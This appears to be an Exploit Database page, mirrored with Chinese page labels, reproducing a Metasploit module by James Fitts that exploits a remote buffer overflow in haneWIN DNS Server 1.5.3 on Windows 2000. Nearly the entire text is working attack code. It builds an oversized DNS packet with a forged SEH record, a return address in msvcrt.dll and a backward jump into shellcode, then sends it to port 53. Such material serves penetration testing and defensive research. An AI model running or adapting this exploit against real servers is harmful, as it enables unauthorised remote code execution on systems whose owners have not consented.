haneWIN DNS Server 1.5.3 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： James Fitts
  日期： 2017-09-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42723/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name'		=> 'haneWIN DNS Server Buffer Overflow',
  			'Description'	=> %q{
  				This module exploits a buffer overflow vulnerability found in
  				haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
  				by sending an overly long packet to the victim server. A memcpy
  				function blindly copies user supplied data to a fixed size buffer
  				leading to remote code execution. 
  
  				This module was tested against haneWIN DNS 1.5.3
  			},
  			'Author' => [ 'james fitts' ],
  			'License' => MSF_LICENSE,
  			'References' =>
  				[
  					[ 'EDB', '31260' ],
  					[ 'OSVDB', '102773' ]
  				],
  			'Privileged'=> false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload' =>
  				{
  					'Space'	=> 1000,
  					'DisableNops' => true,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'Platform' => 'win',
  			'DefaultTarget'	=> 0,
  			'Targets' =>
  				[
  					[
  						'Windows 2000 SP4 EN / haneWIN DNS 1.5.3',
  						{
  							# msvcrt.dll v6.10.9844.0
  							# pop esi/ pop edi/ retn
  							'Ret' => 0x78010394,
  						}
  					]
  				],
  			'DisclosureDate' => 'Jul 27 2013'))
  
  			register_options([Opt::RPORT(53)], self.class)
  	end
  
  	def exploit
  		connect
  
  		p = make_nops(32) + payload.encoded
  
  		buf = Rex::Text.pattern_create(5000)
  		buf[0, 2] = [0x4e20].pack('n')							# length for malloc
  		buf[1332, p.length] = p
  		buf[2324, 8] = generate_seh_record(target.ret)
  		buf[2332, 15] = make_nops(10) + "\xe9\x13\xfc\xff\xff"	# jmp $-1000 
  
  		print_status("Sending malicious request...")
  		sock.put(buf)
  		disconnect
  
  	end
  end